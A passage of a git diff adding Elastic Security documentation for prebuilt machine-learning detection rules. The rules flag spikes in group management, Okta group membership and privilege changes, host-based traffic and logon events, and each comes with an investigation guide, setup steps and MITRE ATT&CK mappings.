https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-group-management-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-group-management-events.asciidoc new file mode 100644 index 0000000000..70e08c08cf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-group-management-events.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-20-spike-in-group-management-events]] +=== Spike in Group Management Events + +A machine learning job has identified a spike in group management events for a user, indicating potential privileged access activity. The machine learning has flagged an abnormal rise in group management actions (such as adding or removing users from privileged groups), which could point to an attempt to escalate privileges or unauthorized modifications to group memberships. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-3h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Group Management Events* + + +The detection of spikes in group management events leverages machine learning to monitor and identify unusual patterns in user activities related to group memberships. Adversaries may exploit this by adding or removing users from privileged groups to escalate privileges or alter access controls. The detection rule identifies these anomalies, flagging potential unauthorized modifications indicative of privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the specific user account associated with the spike in group management events to determine if the activity aligns with their typical behavior or role. +- Check the timeline of the group management events to identify any patterns or sequences that might suggest unauthorized access or privilege escalation attempts. +- Investigate the source IP addresses and devices used during the group management events to verify if they are consistent with the user's usual access points or if they indicate potential compromise. +- Examine recent changes to privileged groups, focusing on additions or removals of users, to assess if these modifications were authorized and necessary. +- Cross-reference the flagged events with any recent support tickets or change requests to confirm if the actions were legitimate and documented. +- Look for any other related alerts or anomalies in the same timeframe that might indicate a broader security incident or coordinated attack. + + +*False positive analysis* + + +- Routine administrative tasks can trigger spikes in group management events, such as scheduled user onboarding or offboarding. To manage this, create exceptions for known periods of increased activity. +- Automated scripts or tools that manage group memberships might cause false positives. Identify these scripts and exclude their activities from the rule's monitoring. +- Changes in organizational structure, like department mergers, can lead to legitimate spikes. Document these changes and adjust the rule's sensitivity temporarily. +- Regular audits or compliance checks that involve group membership reviews may appear as anomalies. Schedule these activities and inform the monitoring team to prevent false alerts. +- High turnover rates in certain departments can result in frequent group changes. Monitor these departments separately and adjust thresholds accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected user account by disabling it to prevent further unauthorized group management activities. +- Review and audit recent changes to group memberships, focusing on privileged groups, to identify any unauthorized additions or removals. +- Revert any unauthorized changes to group memberships to restore the intended access controls. +- Conduct a thorough investigation to determine the source of the anomaly, including checking for compromised credentials or insider threats. +- Reset the password for the affected user account and enforce multi-factor authentication to enhance security. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring on the affected account and related privileged groups to detect any further suspicious activities. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Windows logs collected by integrations such as Elastic Defend and Windows. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] and https://docs.elastic.co/en/integrations/windows[Windows] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Windows integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-group-membership-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-group-membership-events.asciidoc new file mode 100644 index 0000000000..d545dd8ff3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-group-membership-events.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-spike-in-group-membership-events]] +=== Spike in Group Membership Events + +A machine learning job has identified an unusual spike in Okta group membership events, indicating potential privileged access activity. Attackers or malicious insiders might be adding accounts to privileged groups to escalate their access, potentially leading to unauthorized actions or data breaches. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-3h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Group Membership Events* + + +In modern IT environments, group membership management is crucial for controlling access to resources. Adversaries may exploit this by adding accounts to privileged groups, thereby escalating their access rights. The detection rule leverages machine learning to identify unusual spikes in group membership events, signaling potential unauthorized access attempts. This proactive approach helps in mitigating risks associated with privilege escalation. + + +*Possible investigation steps* + + +- Review the specific Okta group membership events that triggered the alert to identify which accounts were added to privileged groups. +- Cross-reference the accounts added with known user roles and responsibilities to determine if the changes align with expected access patterns. +- Check recent activity logs for the accounts added to privileged groups to identify any suspicious or unauthorized actions following the group membership change. +- Investigate the source of the group membership changes, including the user or system that initiated the changes, to assess if it was a legitimate administrative action. +- Analyze historical data for similar spikes in group membership events to determine if this is part of a recurring pattern or an isolated incident. +- Consult with the IT or security team to verify if there were any recent changes in access policies or group management procedures that could explain the spike. + + +*False positive analysis* + + +- Routine administrative tasks may trigger spikes in group membership events, such as scheduled updates or onboarding processes. Users can create exceptions for these known activities to prevent false alerts. +- Automated scripts or tools that manage group memberships for legitimate purposes might cause false positives. Identifying and excluding these scripts from monitoring can reduce unnecessary alerts. +- Changes in group membership due to organizational restructuring or policy updates can appear as spikes. Documenting these changes and adjusting the detection parameters accordingly can help mitigate false positives. +- Frequent legitimate access requests to privileged groups during specific business cycles, like end-of-quarter financial reviews, can be excluded by setting time-based exceptions. +- Regular audits or compliance checks that involve temporary access to privileged groups should be accounted for by creating temporary exceptions during these periods. + + +*Response and remediation* + + +- Immediately isolate the affected accounts by removing them from any privileged groups to prevent further unauthorized access. +- Conduct a thorough review of recent group membership changes in Okta to identify any other unauthorized additions and remove them as necessary. +- Reset passwords and enforce multi-factor authentication for the affected accounts to secure them against further compromise. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring on the affected accounts and privileged groups to detect any further suspicious activity. +- Review and update access control policies to ensure that only authorized personnel can modify group memberships, reducing the risk of future unauthorized changes. +- Document the incident and response actions taken, and conduct a post-incident review to identify any gaps in the current security posture and improve future response efforts. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Okta logs collected by integrations such as Okta. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Okta events collected by https://docs.elastic.co/en/integrations/okta[Okta] integration. +- To add the Okta integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-group-privilege-change-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-group-privilege-change-events.asciidoc new file mode 100644 index 0000000000..b7e7c9ef46 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-group-privilege-change-events.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-spike-in-group-privilege-change-events]] +=== Spike in Group Privilege Change Events + +A machine learning job has identified an unusual spike in Okta group privilege change events, indicating potential privileged access activity. Attackers might be elevating privileges by adding themselves or compromised accounts to high-privilege groups, enabling further access or persistence. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-3h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Group Privilege Change Events* + + +In environments using Okta, group privilege changes are crucial for managing access. Adversaries may exploit this by adding themselves to privileged groups, gaining unauthorized access. The detection rule leverages machine learning to identify unusual spikes in these events, signaling potential privilege escalation attempts, thus aiding in early threat detection and response. + + +*Possible investigation steps* + + +- Review the specific group privilege change events identified by the machine learning job to determine which accounts were added to privileged groups. +- Cross-reference the accounts involved in the privilege changes with recent login activity to identify any unusual or suspicious access patterns. +- Check the history of privilege changes for the affected groups to see if there is a pattern of unauthorized access or if this is an isolated incident. +- Investigate the source IP addresses and locations associated with the privilege change events to identify any anomalies or unexpected geolocations. +- Examine any recent changes to the accounts involved, such as password resets or multi-factor authentication (MFA) modifications, to assess if they have been compromised. +- Collaborate with the affected users or their managers to verify if the privilege changes were authorized and legitimate. + + +*False positive analysis* + + +- Routine administrative tasks may trigger spikes in group privilege changes. Regularly scheduled audits or updates to group memberships should be documented and excluded from alerts. +- Automated scripts or tools that manage user access can cause frequent changes. Identify these scripts and create exceptions for their activity to prevent false positives. +- Organizational restructuring or mergers often lead to bulk updates in group privileges. During these periods, temporarily adjust the sensitivity of the detection rule or whitelist specific activities. +- Onboarding or offboarding processes can result in a high volume of legitimate group changes. Coordinate with HR and IT to anticipate these events and adjust monitoring accordingly. +- Changes in security policies or compliance requirements might necessitate widespread privilege adjustments. Ensure these policy-driven changes are communicated to the security team to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected accounts by removing them from any high-privilege groups to prevent further unauthorized access. +- Conduct a thorough review of recent group membership changes in Okta to identify any other unauthorized privilege escalations. +- Reset passwords and enforce multi-factor authentication for the affected accounts to secure them against further compromise. +- Notify the security team and relevant stakeholders about the incident for awareness and potential escalation if further suspicious activity is detected. +- Implement additional monitoring on the affected accounts and privileged groups to detect any further unauthorized changes or access attempts. +- Review and update access control policies to ensure that only authorized personnel can modify group memberships, reducing the risk of future privilege escalation. +- Document the incident, including all actions taken, to improve response strategies and inform future security measures. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Okta logs collected by integrations such as Okta. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Okta events collected by https://docs.elastic.co/en/integrations/okta[Okta] integration. +- To add the Okta integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-host-based-traffic.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-host-based-traffic.asciidoc new file mode 100644 index 0000000000..8b9ba33dd3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-host-based-traffic.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-20-spike-in-host-based-traffic]] +=== Spike in host-based traffic + +A machine learning job has detected a sudden spike in host based traffic. This can be due to a range of security issues, such as a compromised system, DDoS attacks, malware infections, privilege escalation, or data exfiltration. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in host-based traffic* + +The detection of a spike in host-based traffic leverages machine learning to identify anomalies in network behavior, which may indicate security threats like DDoS attacks or data exfiltration. Adversaries exploit this by overwhelming systems or stealthily transferring data. The rule, with a low severity score, flags unusual traffic patterns, enabling analysts to investigate potential compromises or misconfigurations. + + +*Possible investigation steps* + + +- Review the timestamp and source of the traffic spike to determine the exact time and origin of the anomaly. +- Analyze the affected host's network logs to identify any unusual outbound or inbound connections that coincide with the spike. +- Check for any recent changes or updates on the affected host that might have triggered the spike, such as software installations or configuration changes. +- Investigate any associated user accounts for signs of unauthorized access or privilege escalation activities. +- Correlate the spike with other security alerts or logs to identify potential patterns or related incidents. +- Assess the host for signs of malware infection or indicators of compromise that could explain the abnormal traffic behavior. + + +*False positive analysis* + + +- Routine software updates or patch management activities can cause temporary spikes in host-based traffic. Users should monitor scheduled update times and create exceptions for these periods to avoid false positives. +- Backup operations often generate increased network traffic. Identifying and excluding these regular backup windows from monitoring can help reduce false alerts. +- High-volume data transfers within the organization, such as large file uploads or downloads for legitimate business purposes, may trigger the rule. Establishing baseline traffic patterns for these activities and setting exceptions can mitigate unnecessary alerts. +- Automated scripts or batch processes that run at specific times and generate predictable traffic spikes should be documented and excluded from anomaly detection to prevent false positives. +- Internal network scans or vulnerability assessments conducted by IT security teams can mimic malicious traffic patterns. These should be scheduled and whitelisted to avoid triggering the rule. + + +*Response and remediation* + + +- Isolate the affected host from the network to prevent further data exfiltration or participation in a DDoS attack. +- Conduct a thorough scan of the isolated host for malware or unauthorized software, and remove any malicious files or applications found. +- Review and reset credentials for any accounts that may have been compromised, ensuring that privilege escalation is mitigated. +- Monitor network traffic for any additional anomalies or spikes that could indicate further compromise or ongoing attacks. +- Restore the affected host from a known good backup if malware or significant unauthorized changes are detected. +- Implement network segmentation to limit the spread of potential threats and reduce the impact of similar incidents in the future. +- Escalate the incident to the security operations center (SOC) or relevant team for further analysis and to determine if additional resources are needed for a comprehensive response. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Network Denial of Service +** ID: T1498 +** Reference URL: https://attack.mitre.org/techniques/T1498/ +* Technique: +** Name: Endpoint Denial of Service +** ID: T1499 +** Reference URL: https://attack.mitre.org/techniques/T1499/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-logon-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-logon-events.asciidoc new file mode 100644 index 0000000000..d9b8d81c08 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-logon-events.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-20-spike-in-logon-events]] +=== Spike in Logon Events + +A machine learning job found an unusually large spike in successful authentication events. This can be due to password spraying, user enumeration or brute force activity. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Logon Events* + +The 'Spike in Logon Events' detection leverages machine learning to identify anomalies in authentication patterns, signaling potential threats like password spraying or brute force attacks. Adversaries exploit these methods to gain unauthorized access by overwhelming systems with login attempts. This rule detects unusual surges in successful logins, indicating possible credential access tactics, and aids in preemptive threat mitigation. + + +*Possible investigation steps* + + +- Review the timestamp and source of the spike in logon events to determine the time frame and systems affected. +- Analyze the user accounts involved in the spike to identify any patterns or anomalies, such as accounts with multiple logins from different locations or IP addresses. +- Check for any recent changes in user permissions or roles that could explain the increase in logon events. +- Investigate the IP addresses associated with the logon events to identify any known malicious sources or unusual geographic locations. +- Correlate the logon events with other security alerts or logs, such as failed login attempts, to identify potential password spraying or brute force activities. +- Assess whether there are any concurrent alerts or indicators of compromise that could suggest a broader attack campaign. + + +*False positive analysis* + + +- High-volume legitimate logins from automated systems or scripts can trigger false positives. Identify and whitelist these systems to prevent unnecessary alerts. +- Scheduled batch processes or system maintenance activities may cause spikes in logon events. Exclude these known activities by setting up exceptions based on time and source. +- Users with roles that require frequent logins, such as IT administrators or customer support agents, might be flagged. Create user-based exceptions for these roles to reduce false positives. +- Integration with third-party services that authenticate frequently can lead to detection triggers. Review and exclude these services from the rule to avoid misclassification. +- Consider adjusting the sensitivity of the machine learning model if certain patterns are consistently flagged as anomalies but are verified as legitimate. + + +*Response and remediation* + + +- Immediately isolate the affected user accounts to prevent further unauthorized access. This can be done by disabling the accounts or resetting passwords. +- Conduct a thorough review of recent authentication logs to identify any other accounts that may have been compromised or targeted. +- Implement multi-factor authentication (MFA) for all user accounts to add an additional layer of security against unauthorized access. +- Notify the security operations team to monitor for any further suspicious logon activities and to ensure that the threat is contained. +- Escalate the incident to the incident response team if there is evidence of a broader attack or if sensitive data may have been accessed. +- Review and update access controls and permissions to ensure that users have the minimum necessary access to perform their roles. +- Enhance monitoring and alerting mechanisms to detect similar spikes in logon events in the future, ensuring rapid response to potential threats. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Auditd Manager +- System + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to 